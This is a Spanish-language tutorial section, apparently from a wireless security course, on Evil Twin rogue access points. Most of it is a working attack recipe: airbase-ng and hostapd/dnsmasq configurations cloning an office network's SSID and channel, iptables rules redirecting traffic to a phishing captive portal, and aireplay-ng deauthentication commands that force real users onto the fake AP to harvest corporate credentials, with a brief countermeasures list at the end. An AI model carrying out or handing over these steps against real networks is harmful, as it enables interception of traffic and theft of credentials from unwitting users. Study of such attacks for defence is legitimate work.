3. Evil Twin (Punto de Acceso Falso)

3. Evil Twin (Punto de Acceso Falso)

¿Qué es un Evil Twin?

Un **Evil Twin** es un **punto de acceso (AP) malicioso** que imita a uno legítimo para engañar a los clientes y que se conecten a él en lugar del verdadero. Al hacerlo, podemos:

- Capturar credenciales (WiFi y, si se combina con portal cautivo, logins de aplicaciones).
- Interceptar o modificar el tráfico (MITM).
- Redirigir usuarios a páginas de phishing.

3.1 Fundamentos de 802.11 y gestión de APs

1. **Beacons**
   - El AP “original” transmite sus beacons anunciando SSID, BSSID, canal y capacidades.
2. **Asociación**
   - El cliente elige un AP (normalmente el de señal más fuerte con el SSID buscado) y envía una **Association Request**.
3. **Handshake WPA/WPA2**
   - Tras asociarse, intercambia el 4-way handshake para derivar claves.

Un Evil Twin **satura el aire** con **beacons falsos** que anuncian el **mismo SSID** y hasta la misma BSSID (a veces genera un BSSID cercano). Si su señal se ve más fuerte, los clientes preferirán conectarse a él.

3.2 Herramientas principales

- `airbase-ng` (parte de aircrack-ng): rápido para montar AP falso en un canal.
- `hostapd` + `dnsmasq`: configuración avanzada para portal cautivo, DHCP, DNS spoofing.
- `ettercap`, `mitmproxy`, `bettercap`: para interceptar y modificar tráfico HTTP/HTTPS.

3.3 Flujo de un ataque Evil Twin

Paso 1: Reconocimiento y elección de objetivo

Con `airodump-ng` obtienes:

- **SSID** del AP legítimo (p. ej. `Oficina_WiFi`).
- **BSSID** (p. ej. `28:77:77:74:B1:AC`).
- **Canal** (p. ej. `11`).

Paso 2: Montar el AP falso

Opción rápida con `airbase-ng`

```
sudo airbase-ng -e "Oficina_WiFi" -c 11 wlan0mon
```

- `-e "Oficina_WiFi"` → SSID idéntico.
- `-c 11` → mismo canal.
- `wlan0mon` → interfaz en modo monitor.

Esto crea una interfaz (`at0`) que actúa como AP. Ahora nadie asigna IP, así que hay que dar DHCP y DNS.

Opción avanzada con `hostapd` + `dnsmasq`

1. **hostapd.conf** mínimo:

```
interface=wlan1
driver=nl80211
ssid=Oficina_WiFi
hw_mode=g
channel=11
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
wpa_passphrase=PasswordFalsa
```

2. **dnsmasq.conf** mínimo:

```
interface=wlan1
dhcp-range=10.0.0.10,10.0.0.100,12h
address=/#/10.0.0.1
```

3. **IP forwarding y NAT**:

```
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i wlan1 -j ACCEPT
```

4. **Arrancar servicios**:

```
sudo hostapd hostapd.conf &
sudo dnsmasq -C dnsmasq.conf &
```

Paso 3: Desautenticar a los clientes legítimos

Para forzar a que se desconecten del AP original y busquen el de mayor señal (tu Evil Twin):

```
sudo aireplay-ng --deauth 10 -a 28:77:77:74:B1:AC wlan0mon
```

Repite hasta ver que clientes se asocian a tu `wlan1`.

3.4 Captura de credenciales con portal cautivo

Una vez que el cliente está en tu AP falso:

1. **Redirige todo a tu servidor web local** (por ejemplo, un simple Apache o Nginx con formulario de login).
2. **Reclama renovación de sesión** o acceso a Internet, pidiendo usuario/contraseña.
3. El cliente, confiado en el SSID legítimo, ingresa sus **credenciales corporativas**, que quedan registradas en tu servidor.

Ejemplo de regla de **iptables** para redirigir HTTP:

```
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1:80
```

3.5 Ejemplo práctico completo

1. **Modo monitor**:

   ```
   sudo airmon-ng start wlan0
   ```

2. **Crear Evil Twin rápido**:

   ```
   sudo airbase-ng -e "Oficina_WiFi" -c 11 wlan0mon
   # Interfaz at0 aparece
   sudo ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
   sudo dnsmasq --interface=at0 --dhcp-range=10.0.0.10,10.0.0.50,12h --address=/#/10.0.0.1
   ```

3. **Redirigir HTTP a portal** (ejecuta tu servidor en 10.0.0.1):

   ```
   sudo iptables -t nat -A PREROUTING -i at0 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1:80
   ```

4. **Desautenticar a las víctimas**:

```
sudo aireplay-ng --deauth 5 -a 28:77:77:74:B1:AC wlan0mon
```

5. **Ver las asociaciones**:

   ```
   sudo airodump-ng --bssid 28:77:77:74:B1:AC -c 11 wlan0mon
   ```

   Cuando veas clientes en `at0`, están cayendo en tu trampa.

3.6 Contramedidas

- **WPA3** y **MFP** (802.11w) dificultan deauth y capturas.
- **Certificados EAP-TLS** en lugar de PSK.
- **Verificar BSSID y canal** antes de conectarse.
- **Usar perfiles de red** en lugar de SSID genéricos.
